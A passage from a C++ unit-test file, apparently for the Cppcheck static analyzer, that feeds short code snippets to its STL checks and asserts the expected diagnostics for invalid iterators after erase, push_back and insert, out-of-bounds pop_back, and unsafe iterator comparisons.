foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" 